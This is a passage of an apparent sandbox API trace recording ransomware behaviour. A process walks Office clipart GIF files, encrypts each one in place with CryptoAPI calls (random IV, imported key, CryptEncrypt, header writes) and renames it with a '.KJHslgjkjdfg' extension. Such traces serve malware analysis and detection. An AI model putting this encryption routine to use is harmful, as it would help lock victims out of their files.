(in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x170, dwBufLen=0x170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x170) returned 1 [0192.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.672] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x170, lpOverlapped=0x0) returned 1 [0192.672] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.672] SetEndOfFile (hFile=0x114) returned 1 [0192.675] GetProcessHeap () returned 0x2a0000 [0192.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.675] GetProcessHeap () returned 0x2a0000 [0192.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.kjhslgjkjdfg")) returned 1 [0192.678] CloseHandle (hObject=0x114) returned 1 [0192.678] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe368b800, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe368b800, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01238_.GIF", cAlternateFileName="")) returned 1 [0192.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.679] GetProcessHeap () returned 0x2a0000 [0192.679] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.679] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.679] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0192.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.681] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.681] GetProcessHeap () returned 0x2a0000 [0192.681] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.681] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.681] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.681] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.681] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.681] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.681] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.681] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.682] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.682] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.682] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.682] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x167, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x167, lpOverlapped=0x0) returned 1 [0192.682] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x170, dwBufLen=0x170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x170) returned 1 [0192.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.682] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x170, lpOverlapped=0x0) returned 1 [0192.682] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.682] SetEndOfFile (hFile=0x114) returned 1 [0192.685] GetProcessHeap () returned 0x2a0000 [0192.685] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.685] GetProcessHeap () returned 0x2a0000 [0192.685] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.kjhslgjkjdfg")) returned 1 [0192.688] CloseHandle (hObject=0x114) returned 1 [0192.688] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa57200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfa57200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01239_.GIF", cAlternateFileName="")) returned 1 [0192.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.690] GetProcessHeap () returned 0x2a0000 [0192.690] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.690] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.690] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0192.692] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.692] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.692] GetProcessHeap () returned 0x2a0000 [0192.692] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.692] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.692] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.692] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.692] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.692] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.692] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.692] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.692] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.692] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.693] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19a, lpOverlapped=0x0) returned 1 [0192.693] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a0, dwBufLen=0x1a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a0) returned 1 [0192.693] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.693] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a0, lpOverlapped=0x0) returned 1 [0192.693] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.693] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.693] SetEndOfFile (hFile=0x114) returned 1 [0192.696] GetProcessHeap () returned 0x2a0000 [0192.696] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.696] GetProcessHeap () returned 0x2a0000 [0192.696] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.kjhslgjkjdfg")) returned 1 [0192.698] CloseHandle (hObject=0x114) returned 1 [0192.698] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d80d00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1d80d00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01240_.GIF", cAlternateFileName="")) returned 1 [0192.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.700] GetProcessHeap () returned 0x2a0000 [0192.700] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.701] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.701] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0192.703] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.703] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.703] GetProcessHeap () returned 0x2a0000 [0192.703] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.703] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.703] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.703] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.703] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.703] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.703] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.703] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.703] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.704] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.704] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.704] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14d, lpOverlapped=0x0) returned 1 [0192.704] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x150, dwBufLen=0x150 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x150) returned 1 [0192.704] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.704] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x150, lpOverlapped=0x0) returned 1 [0192.704] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.704] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.704] SetEndOfFile (hFile=0x114) returned 1 [0192.707] GetProcessHeap () returned 0x2a0000 [0192.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.707] GetProcessHeap () returned 0x2a0000 [0192.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.kjhslgjkjdfg")) returned 1 [0192.708] CloseHandle (hObject=0x114) returned 1 [0192.709] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866d0200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x866d0200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01241_.GIF", cAlternateFileName="")) returned 1 [0192.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.710] GetProcessHeap () returned 0x2a0000 [0192.710] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.710] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0192.711] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.712] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.712] GetProcessHeap () returned 0x2a0000 [0192.712] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.712] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.712] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.712] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.712] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.712] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.712] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.712] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.712] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.712] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.712] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.713] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x182, lpOverlapped=0x0) returned 1 [0192.713] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x190, dwBufLen=0x190 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x190) returned 1 [0192.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.713] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x190, lpOverlapped=0x0) returned 1 [0192.713] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.713] SetEndOfFile (hFile=0x114) returned 1 [0192.716] GetProcessHeap () returned 0x2a0000 [0192.716] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.716] GetProcessHeap () returned 0x2a0000 [0192.716] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.KJHslgjkjdfg" (normalized: 